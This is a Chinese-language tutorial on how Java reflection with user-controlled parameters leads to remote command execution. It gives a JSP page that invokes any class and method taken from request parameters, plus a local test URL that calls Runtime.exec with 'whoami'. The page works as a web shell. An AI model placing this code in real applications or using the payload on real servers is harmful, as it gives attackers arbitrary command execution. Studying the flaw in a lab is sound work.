0x01 前言
在我们上面几篇文章中讲的都是某个类我们可控造成的命令执行
但是有没有可能说代码中没有出现任何一个可执行函数(如exec()、system()等),一样也可以造成命令执行呢?
也是有可能,就是当项目中使用了反射但是同时里面的一些参数可控,那么也是有可能造成命令执行的
0x02 环境搭配
为了能模拟实战,这边搭建了一个JSP环境
如果还不会搭建jsp环境的可以按照下面的文章跟着搭建
Mac版IDEA创建maven web项目-详细过程: https://www.yuque.com/pmiaowu/gpy1q8/npv0fr
0x04 例子
# 在 webapp目录下面新建立一个文件: rceTest.jsp
# 文件名: rceTest.jsp
# command 为请求的类
# method 为请求类的方法
# str 为请求类的参数
# 服务端接收这三个参数后执行 method 的具体方法
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
// 接收参数
String name = request.getParameter("command");
String method = request.getParameter("method");
String str = request.getParameter("str");
// 获取类的无参数构造方法
Class getCommandClass = Class.forName(name);
Constructor constructor = getCommandClass.getDeclaredConstructor();
constructor.setAccessible(true);
// 实例化类
Object getInstance = constructor.newInstance();
// 获取类方法
Method getCommandMethod = getCommandClass.getDeclaredMethod(method, String.class);
getCommandMethod.setAccessible(true);
// 调用类方法
Process p = (Process) getCommandMethod.invoke(getInstance, str);
// 获取结果
InputStream in = p.getInputStream();
ByteArrayOutputStream results = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int l = -1;
while ((l = in.read(b)) != -1) {
results.write(b, 0, l);
}
out.println("即将执行的操作指令");
out.print(results);
%>
访问url:http://127.0.0.1:8081/mavenJspTest_war/rceTest.jsp?command=java.lang.Runtime&method=exec&str=whoami
命令执行效果如下: